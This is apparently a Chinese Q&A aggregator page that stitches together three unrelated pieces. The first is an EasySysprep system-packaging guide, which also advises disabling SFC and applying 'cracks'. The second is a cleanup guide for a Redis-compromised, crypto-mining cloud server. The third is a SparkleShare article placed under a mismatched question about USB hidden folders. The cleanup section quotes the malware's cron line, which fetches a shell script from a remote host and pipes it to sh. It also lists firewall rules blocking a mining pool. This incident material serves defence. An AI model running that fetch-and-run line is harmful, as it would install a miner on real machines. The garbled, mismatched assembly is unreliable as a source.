xkeysU盤挖礦
① easy sysprep系統封裝工具怎麼使用
方法/步驟
封裝前的准備
1、集成系統補丁。集成補丁的方法有很多,例如使用Windows Update、使用第三方安全軟體、使用第三方補丁包等。這里推薦大家選用IT天空系統補丁安裝助理,一次性安裝所有重要補丁。
2、安裝常用軟體。常用軟體常用的一般也就幾種,大家請根據自己的系統部署范圍而決定。
特別提醒(1)不是所有的軟體都能良好適應系統封裝部署,特別是某些國產軟體;(2)需要激活的軟體,部署完畢後一般都需要重新激活;(3)不建議集成安全類軟體,某些安全軟體會阻擋正常的系統部署進程,甚至導致藍屏宕機;(4)如果某些軟體不適合集成在系統,可以使用首次進桌面靜默安裝的方法來解決。
3、備份系統。又備份系統?對,備份。補丁安裝要20分鍾左右,軟體也需要逐個安裝與調整,所以整體時間一般不少於30分鍾。為防止封裝時出現未知錯誤,建議再次備份系統,以備今後的調整操作。這次備份完,我們就可以放心大膽的開始封裝操作了。
第一階段封裝EasySysprep v4 (ES4)與之前ES3、ES2以及傳統封裝輔助工具最大的不同,在於其將封裝分為了兩個階段。第一階段:以完成封裝操作為首要目的;第二階段:以完成對系統的調整為首要目的。將封裝與調整分開,減少調整操作對封裝操作的影響,保障封裝成功率。1、啟動ES42、封裝選項設置界面
(1)序列號,合法的系統序列號,OEM和VOL系統請在此輸入,零售版需要在部署時輸入*提醒a:VOL(免激活版)並不是免序列號,如果你安裝時沒需要輸入那是因為自動應答文件幫你輸入了*提醒b:如果序列號不適合當前系統,或系統精簡了關於序列號認證的功能,序列號就無法被使用(2)注冊用戶和注冊組織,不能為空,請填寫您的相關信息,留空則保持默認(3)時區,請根據您所在時區進行選擇(4)安全標識符,如果生成,會拖慢系統部署速度,建議需要加入域的計算機才選中此項(5)網路,工作組或域,請根據您的情況選擇,如果是「域」還可以設置接入域的賬戶和密碼(6)伺服器授權模式用於Windows Server 2003,非用於XP(7)清理當前計算機即插即用驅動,強烈建議選中,將自動卸載當前驅動(8)釋放當前系統自帶的基礎硬體驅動,強烈建議選中,將所有基礎硬體驅動釋放入系統,可提高部署時對基礎設備的兼容性(9)移動當前桌面快捷方式到公共桌面,可將當前用戶桌面快捷方式應用給所有用戶,但會影響當前快捷方式的位置3、封裝前的預覽4、開始封裝
ES4的第一階段封裝只涉及封裝所必須的操作,所以操作較少,更多的調整操作留給了第二階段。
第二階段封裝EasySysprep v4(ES4)的第二階段封裝於PE環境下完成,而非常規的系統桌面環境。第二階段的重點在於:調整系統配置。PE下完成系統調整的優勢,優勢有三:(1)其實這時系統封裝必要的操作已經結束了,要調整的是封裝後的系統,不必擔心調整對封裝成功率產生影響;(2)不必過多考慮系統許可權對系統調整所產生的影響;(3)一旦有某些調整產生失誤,無需重新封裝系統,再次調整即可。1、備份第一階段封裝完畢的系統,以備不時之需2、啟動ES4
3、OEM信息設置
功能:(1)注冊用戶、注冊組織,一般而言會自動讀取第一階段所設置的值,可再次修改,但不可為空(2)製造商、電腦型號,請根據實際情況填寫(3)OEM圖片,180x114bmp格式圖片(4)開始菜單鏈接,請根據實際情況填寫(5)支持信息,請根據實際情況填寫說明:(1)如果製造商、電腦型號和支持信息同屬oeminfo.ini,若製造商、電腦型號不填寫,則oeminfo.ini不完整,支持信息將無法生效,特請注意!(2)如果不想使用OEM圖片,單擊清除按鈕,保持圖片路徑為空即可(3)如果不想使用開始菜單鏈接,將鏈接名稱設置為空即可4、注冊表優化設置功能:(1)默認提供一套注冊表優化方案,可單擊瀏覽按鈕導入自定義方案(2)最終注冊表優化方案以文本框中的內容為准(3)可手動刪除不需要的項目,亦可手動添加需要的項目5、服務優化功能:(1)將枚舉目標系統所有服務描述名和服務名稱,可設置服務的狀態(自動、手動、禁用)(2)與ES3不同的是,不顯示服務描述,此問題暫未得到良好解決,後續會逐步跟進修正6、系統設置功能:(1)開關機音樂,可協助替換開關機聲音,wav格式,不宜過大過長,請自備(2)系統頁面,可協助調換系統屬性面板和登錄頁面程序,請自備(3)虛擬內存,可設置系統默認和自定義兩種模式,自定義模式下還可設置頁面文件位置、頁面文件大小(4)計算機名,包括完全隨機、完全固定、[日期]-[時間]、[前綴]-[日期][時間]四種模式(5)SFC,可設置關閉或開啟SFC,開啟SFC狀態時可選是否自動恢復DllCache文件(6)其他破解,獲取更多的連接數或支持更多第三方主題說明:(1)計算機名 [日期]-[時間] 模式,命名後形如:20130122-151922(2)計算機名 [前綴]-[日期][時間] 模式,命名後形如:SKY-20130122ITK,前綴最長5字母(3)建議關閉SFC,不再使用,SFC屬於雞肋的系統防護功能,可輕易被惡意程序繞過,禁用還可提高系統反應速度7、部署設置功能:(1)序列號,一般會讀取在第一階段中設置的序列號,如需更改可改動(2)時區,一般會讀取在第一階段中設置的時區,如需更改可改動(3)顯示設置,可設置部署解析度和進桌面的解析度(4)使用硬體抽象層(HAL)自動判定,自動判定目標計算機HAL,避免電源管理故障(5)接管部署流程,接管後可以實現更多部署功能,如部署前後介面等(6)使用部署插件,如部署側邊欄、部署進度條(7)部署背景,可設置單背景模式或多背景切換模式(8)Boot時間設定,可設定封裝後和部署後的Boot時間(9)清理目標系統中的即插即用驅動,對系統中的PNP驅動進行清理(應急與測試類功能,慎用)(10)清理目標系統中的磁碟控制器驅動,對系統中的IAR驅動進行清理(應急與測試類功能,慎用)(11)清理目標系統中的補丁備份和卸載程序,清理安裝補丁留下的補丁備份和補丁卸載程序,可減少系統映像體積(12)清理目標系統中的臨時文件和系統日誌,可進一步清理目標系統中的殘留文件說明:(1)不建議手動指定部署解析度,保持系統默認為最好。另外,設置部署解析度可能會影響進桌面解析度的設置(2)不建議手動指定進桌面解析度,部署中調用萬能驅動助理安裝驅動後,進桌面時即為最佳解析度(3)HAL自動判定非常重要(ES3中默認啟用),可以避免因電源管理故障引起的不能正常關機問題(4)HAL自動判定所需的Longhorn的NTLDR,比XP的NTLDR擁有更好的兼容性,可承擔大量IAR驅動的啟動負擔(5)接管部署流程建議使用(ES3中默認啟用),可拓展更多部署功能(6)有些PS過的圖片不符合系統公共標准,若圖片無法被背景程序顯示,可用Windows自帶畫圖工具另存一下(7)清理PNP和IAR驅動的選項不建議選中,這兩個功能僅用於在目標系統「不幹凈」的條件下應急8、網路設置功能:(1)網路設置,可選擇手動指定和DHCP兩種模式,請根據需要選擇與設定(2)網路環境,可設置工作組或域信息,一般會讀取第一步驟設置的值,如需更改可設置(3)伺服器授權模式用於 Windows Server 2003(4)區域網共享設置,提供了三種不同的認證方法,請根據需要選擇與設定說明:(1)IP地址設置中,可用「*」代替2~254之間的隨機值(2)IP設置功能ES4採用了全新的方法,設置速度快於ES3數倍(3)提供全國主要省市聯通、電信DNS,並提供兩組通用DNS備用(4)可設置本地連接是否顯示於任務欄,以及顯示規則。9、特殊調用介面
功能:(1)特殊調用介面一般為特定的應用程序或功能保留(2)萬能驅動助理調用介面,為IT天空萬能驅動助理專門保留,可設置部署中/進桌面調用(3)萬能驅動助理調用介面附帶首次進桌面彈任務管理器和刪除解壓驅動的功能(4)快速配置工具,可設置進桌面調用IT天空快速配置工具進行快速系統設置(5)綜合運行庫,為IT天空一鍵運行庫的專用介面,可設置部署中/進桌面調用(6)其他類功能見UI說明10、通用調用介面功能:(1)調用exe、bat、cmd運行,可設置運行參數,可設置隱藏和不等待(2)調用reg文件自動靜默導入(3)刪除指定文件(4)刪除指定目錄(5)任務設置後,選擇調用時機,單擊「添加」按鈕添加任務到列表(6)選中任務,單擊「刪除」按鈕可刪除任務,單擊「編輯」按鈕可調整任務(7)選中任務,單擊「上移」或「下移」按鈕,可移動任務執行順序(8)「整理」功能將自動將任務按調用時機排序,第二階段封裝任務開始前也會自動整理說明:(1)當所調用程序位於系統盤時,盤符自動轉換為%systemdrive%(2)當所調用程序位於非系統盤時,盤符會自動轉換為%x%,部署時自動搜索所有盤符尋找指定程序(3)亦可使用%CDRom%和%UDisk%指代光碟機和U盤,部署時將只搜索指定設備尋找指定程序(4)如果隱藏運行程序,且程序卡住了,那麼將沒有任何提示,慎用此功能(5)如果啟用了不等待模式,將不等待當前程序的執行結束即會開始下一個程序的執行,這是一種非常不好的狀態,僅用於特殊應用程序的調用,不要隨意使用,本功能亦不會加快程序執行效率或縮短部署過程,相反會帶來一堆問題盤符自動轉為%x%示例:盤符自動轉為%systemdrive%示例:刪除文件任務示例:刪除目錄任務示例:11、磁碟控制器驅動說明:(1)IAR驅動列表與最新的SKYIAR穩定版一致(2)提供成套的、具有廣泛兼容性的IAR驅動方案,建議使用(3)如有需求,可手動選中僅需要的IAR驅動,IAR驅動間若存在沖突,程序會自動提醒(4)IAR驅動方案並不是選中所有,而是選中最具兼容性的驅動組合12、保存設置信息總覽,如未發現問題,單擊「完成」按鈕開始執行所有調整工作
13、備份系統為系統映像,注意選擇最大壓縮率
大功告成,可以測試映像的部署了!
系統部署
經剛才封裝的系統映像部署一下看看效果:1、最小化系統安裝(MiniSetup)
2、注冊組件時自動安裝所需運行庫(1)自動安裝 DirextX 9.0c(2)自動安裝VC++2005/2008/2010等運行庫3、自動執行萬能驅動助理(1)檢測硬體(2)解壓並安裝驅動4、進入系統,補丁、軟體、運行庫、驅動全齊!
* 關於運行庫的安裝時機有些朋友喜歡在封裝前即將DX9、VC++等運行庫安裝好,這樣做便於減少系統部署時間。而有些朋友喜歡在部署時安裝DX9、VC++等運行庫,這樣有助於減少映像體積,並便於更新。兩種方法都是正確的,上述過程是在部署中進行運行庫安裝的,請根據自己的實際需求選擇使用哪種方法。
② 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
③ u盤里多了.fseventsd,.Spotlight-V100,.Trashes三個文件夾 怎麼刪都刪不掉
SparkleShare 是一個開源的基於 Git 的 Dropbox 風格的文件共享應用程序。在我們的系列文章中了解有關 Git 鮮為人知的用法。-- Seth Kenlon(作者)
Git 是一個少有的能將如此多的現代計算封裝到一個程序之中的應用程序,它可以用作許多其他應用程序的計算引擎。雖然它以跟蹤軟體開發中的源代碼更改而聞名,但它還有許多其他用途,可以讓你的生活更輕松、更有條理。在這個 Git 系列中,我們將分享七種鮮為人知的使用 Git 的方法。
今天,我們將看看 SparkleShare,它使用 Git 作為文件共享的基礎。
用於文件共享的 Git
Git 的優點之一是它具有固有的分發能力。它可用來建立共享。即使你只是與自己網路上的其他計算機共享資源庫,Git 也會為從共享位置獲取文件的行為帶來透明性。
隨著其界面的發展,Git 變得非常簡單。雖然因用戶而異,他們坐下來完成一些工作時的共同點僅僅是 git pull 或稍微復雜一點的 git pull && git checkout -b my-branch。但是,對於某些人來說,將命令輸入到他們的計算機中的做法完全是令人困惑或煩惱的。計算機旨在使生活變得輕松,它擅長於重復性工作,因此有更簡便的方法可以與 Git 共享文件。
SparkleShare
SparkleShare 項目是一個基於 Git 的跨平台的、開源的 Dropbox 式的文件共享應用程序。它通過將文件拖放到專門指定的 SparkleShare 目錄中的簡單操作,自動執行所有 Git 命令,觸發添加、提交、推送和拉取過程。因為它基於 Git,所以你可以獲得基於差異(diff)的快速推送和拉取,並且繼承了 Git 版本控制和後端基礎設施(如 Git 掛鉤)的所有優點。它可以完全自託管,也可以將其與 GitLab 、GitHub、Bitbucket 等 Git 託管服務一起使用。此外,由於它基本上只是一個 Git 的前端,因此你可以在可能沒有 SparkleShare 客戶端但有 Git 客戶端的設備上訪問 SparkleShare 中的文件。
正如你獲得 Git 的所有好處一樣,你也會受到所有常見的 Git 限制:使用 SparkleShare 存儲數百張照片、音樂和視頻是不切實際的,因為 Git 是為文本而設計和優化的。Git 當然可以存儲二進制文件的大文件,但是因為它可以跟蹤歷史記錄,因此一旦將文件添加到其中,幾乎就不可能完全刪除它。這在某種程度上限制了 SparkleShare 對某些人的實用性,但使其非常適合許多工作流程,包括 日程安排 。
安裝 SparkleShare
SparkleShare 是跨平台的,可從 網站 獲得適用於 Windows 和 Mac 的安裝程序。對於 Linux,有一個 Flatpak 安裝包,或者你可以在終端中運行以下命令:
$ sudo flatpak remote-add flathub https://flathub.org/repo/flathub.flatpakrepo
$ sudo flatpak install flathub org.sparkleshare.SparkleShare
創建一個 Git 存儲庫
SparkleShare 並不是軟體即服務(SaaS)。你在計算機上運行 SparkleShare 與 Git 存儲庫進行通信,而 SparkleShare 並不存儲你的數據。如果你還沒有與文件夾同步的 Git 存儲庫,則必須在啟動 SparkleShare 之前創建一個文件夾。你有三個選擇:託管的 Git、自託管 Git 或自託管 SparkleShare。
託管的 Git
SparkleShare 可以使用你能訪問的任何 Git 存儲庫進行存儲,因此,如果你擁有 GitLab 或任何其他託管服務的帳戶(或創建一個),則它可以成為 SparkleShare 的後端。例如,開源 Notabug.org 服務是一個類似於 GitHub 和 GitLab 的 Git 託管服務,但其獨特性足以證明 SparkleShare 的靈活性。根據用戶界面的不同,不同的託管服務創建新存儲庫的方法也有所不同,但是所有主要存儲庫都遵循相同的通用模型。
首先,在託管服務中找到創建新項目或存儲庫的按鈕,單擊它以開始。然後逐步完成存儲庫的創建過程,為存儲庫提供名稱、隱私級別(存儲庫通常默認為公共),以及是否使用 README 文件初始化存儲庫。無論你是否需要個 README 文件,請初始化建立一個。使用一個文件來創建存儲庫不是絕對必要的,但是它會強制 Git 主機實例化存儲庫中的 master 分支,這有助於確保前端應用程序(例如 SparkleShare)具有要提交並推送的分支。即使文件是幾乎空的 README 文件,也可以用來查看該文件以確認你已連接成功。
Creating a Git repository
創建存儲庫後,獲取其用於 SSH 克隆的 URL。就像從 Git 項目獲得其 URL 一樣,你也可以獲取此 URL:導航至存儲庫頁面並查找 「Clone」 按鈕或欄位。
GitHub 的克隆 URL。
GitLab 的克隆 URL。
這是 SparkleShare 用於獲取數據的地址,因此請記下它。你的 Git 存儲庫現已配置好。
自託管的 Git
你可以使用 SparkleShare 訪問你有權訪問的任何計算機上的 Git 存儲庫。除了一個 Git 裸存儲庫外,無需任何特殊設置。但是,如果你想將對 Git 存儲庫的訪問權授予其他任何人,則應運行 Gitolite 之類的 Git 管理器或 SparkleShare 自己的 Dazzle 伺服器來幫助你管理 SSH 密鑰和帳戶。至少,創建一個特定於 Git 的用戶,以便有權訪問你的 Git 存儲庫的用戶不會自動獲得對伺服器其餘部分的訪問許可權。
以 Git 用戶身份登錄伺服器(如果你非常擅長管理用戶和組許可權,則可以以自己的用戶登錄)並創建存儲庫:
$ mkdir ~/sparkly.git
$ cd ~/sparkly.git
$ git init --bare .
你的 Git 存儲庫現已配置好。
Dazzle
SparkleShare 的開發人員提供了一個名為 Dazzle 的 Git 管理系統,以幫助你自託管 Git 存儲庫。
在你的伺服器上,將 Dazzle 應用程序下載到你的路徑中的某個位置:
$ curl https://raw.githubusercontent.com/hbons/Dazzle/master/dazzle.sh --output ~/bin/dazzle
$ chmod +x ~/bin/dazzle
Dazzle 設置了一個特定於 Git 和 SparkleShare 的用戶,並且還基於 SparkleShare 應用程序生成的密鑰實現了訪問許可權。現在,只需設置一個項目:
$ dazzle create sparkly
你的伺服器現在已經配置好,可以用作 SparkleShare 託管了。
配置 SparkleShare
首次啟動 SparkleShare 時,系統會提示你配置 SparkleShare 用於存儲的伺服器。這個過程可能看起來像一個首次運行的安裝向導,但實際上是在 SparkleShare 中設置新共享位置的通常過程。與許多共享驅動器應用程序不同,使用 SparkleShare 可以一次配置多個位置。你配置的第一個共享位置並不比你以後可以配置的任何共享位置更重要,並且你也不用注冊 SparkleShare 或任何其他服務。你只是將 SparkleShare 指向 Git 存儲庫,以便它知道如何使第一個 SparkleShare 文件夾保持同步。
在第一個屏幕上,給出一個身份信息,SparkleShare 將在代表你進行的 Git 提交記錄中使用這些信息。你可以使用任何內容,甚至可以使用不代表任何意義的偽造信息。它僅用於提交消息,如果你對審查 Git 後端進程沒有興趣,你可能甚至看不到它們。
下一個屏幕提示你選擇主機類型。如果你使用的是 GitLab、GitHub、Planio 或 Bitbucket,則可以選擇一個適當的。否則,請選擇「自己的伺服器」。
Choosing a Sparkleshare host
在此屏幕底部,你必須輸入 SSH 的克隆 URL。如果你是自託管的 Git,則地址類似於 <ssh://[email protected]>,而遠程路徑是為此目的而創建的 Git 存儲庫的絕對路徑。
根據上面的自託管示例,我虛構的伺服器的地址為 ssh://[email protected]:22122(:22122 表示一個非標準的 SSH 埠),遠程路徑為 /home/git/sparkly.git。
如果我改用 Notabug.org 帳戶,則上例中的地址為 ssh://[email protected],路徑為 seth/sparkly.git。
SparkleShare 首次嘗試連接到主機時會失敗,因為你尚未將 SparkleShare 客戶端 ID(特定於 SparkleShare 應用程序的 SSH 密鑰)復制到 Git 主機。這是預料之中的,所以不要取消該過程。將 SparkleShare 設置窗口保持打開狀態,並從系統任務欄中的 SparkleShare 圖標處獲取客戶端 ID。然後將客戶端 ID 復制到剪貼板,以便可以將其添加到 Git 主機。
Getting the client ID from Sparkleshare
將你的客戶端 ID 添加到託管的 Git 帳戶
除了較小的 UI 差異外,在任何託管服務上添加 SSH 密鑰(所有客戶端 ID 都是這樣)的過程基本上是相同的。在你的 Git 主機的 Web 儀錶板中,導航到你的用戶設置,然後找到 「SSH 密鑰」類別。單擊「添加新密鑰」按鈕(或類似按鈕),然後粘貼你的 SparkleShare 客戶端 ID 的內容。
Adding an SSH key
保存密鑰。如果你希望其他人(例如協作者或家庭成員)能夠訪問同一存儲庫,則他們必須向你提供其 SparkleShare 客戶端 ID,以便你可以將其添加到帳戶中。
將你的客戶端 ID 添加到自託管的 Git 帳戶
SparkleShare 客戶端 ID 只是一個 SSH 密鑰,因此將其復制並粘貼到 Git 用戶的 ~/.ssh/authorized_keys 文件中。
使用 Dazzle 添加你的客戶 ID
如果你使用 Dazzle 管理 SparkleShare 項目,請使用以下命令添加客戶端 ID:
$ dazzle link
當 Dazzle 提示你輸入該 ID 時,請粘貼在 SparkleShare 菜單中找到的客戶端 ID。
使用 SparkleShare
將客戶端 ID 添加到 Git 主機後,在 SparkleShare 窗口中單擊「重試」按鈕以完成設置。克隆存儲庫完成後,你可以關閉 SparkleShare 設置窗口,並在你的家目錄中找到一個新的 SparkleShare 文件夾。如果你設置了帶有託管服務的 Git 存儲庫,並選擇包括 README 文件或許可證文件,則可以在 SparkleShare 目錄中看到它們。
Sparkleshare file manager
此外,有一些隱藏目錄,你可以通過在文件管理器中顯示隱藏目錄來查看。
Showing hidden files in GNOME
使用 SparkleShare 的方式與使用計算機上任何目錄的方式相同:將文件放入其中。每當將文件或目錄放入 SparkleShare 文件夾時,它都會在後台復制到你的 Git 存儲庫。
排除某些文件
由於 Git 從設計上就是要記住一切,因此你可能希望從記錄中排除特定的文件類型。排除一些文件是有原因的。通過定義擺脫 SparkleShare 管理的文件,可以避免意外復制大文件。你還可以為自己設計一種方案,使你可以將存儲在一個目錄中的邏輯上屬於同一個文件(例如,MIDI 文件及其 .flac 導出文件),但是可以自己手動備份大文件,而同時讓 SparkleShare 備份基於文本的文件。
如果在系統的文件管理器中看不到隱藏的文件,請顯示它們。導航到你的 SparkleShare 文件夾,然後到代表你的存儲庫的目錄,找到一個名為 .gitignore 的文件,然後在文本編輯器中將其打開。你可以在 .gitignore 中輸入文件擴展名或文件名(每行一個),任何與你列出的文件匹配的文件都會被忽略(如文件名所示)。
Thumbs.db
$RECYCLE.BIN/
.DS_Store
._*
.fseventsd
.Spotlight-V100
.Trashes
.directory
.Trash-*
*.wav
*.ogg
*.flac
*.mp3
*.m4a
*.opus
*.jpg
*.png
*.mp4
*.mov
*.mkv
*.avi
*.pdf
*.djvu
*.epub
*.od{s,t}
*.cbz
你知道最經常遇到哪些文件類型,因此請集中精力處理最有可能潛入你的 SparkleShare 目錄的文件。如果你想稍微矯枉過正一些,可以在 Notabug.org 以及整個網上找到 .gitignore 文件的好集合。
通過將這些條目保存在 .gitignore 文件中,你可以將不需要發送到 Git 主機的大文件放在 SparkleShare 目錄中,SparkleShare 將完全忽略它們。當然,這意味著你需要確保它們可以備份或通過其他方式分發給你的 SparkleShare 協作者。
自動化
自動化 是我們與計算機達成的默契之一:計算機執行重復的、無聊的工作,而我們人類要麼不擅長做這些,要麼不擅長記憶這些。SparkleShare 是一種很好的、簡單的自動執行例行數據分發的方法。但不管怎麼說,這並不適合每個 Git 存儲庫。它沒有用於高級 Git 功能的介面,它沒有暫停按鈕或手動管理的操作。沒關系,因為它的使用范圍是有意限制的。SparkleShare 可以完成它計劃要做的事情,它做得很好,而且它是你無需關心的一個 Git 存儲庫。
如果你想使用這種穩定的、看不見的自動化,請嘗試一下 SparkleShare。
via: https://opensource.com/article/19/4/file-sharing-git
作者: Seth Kenlon 選題: lujun9972 譯者: wxy 校對: wxy
本文由 LCTT 原創編譯, Linux中國 榮譽推出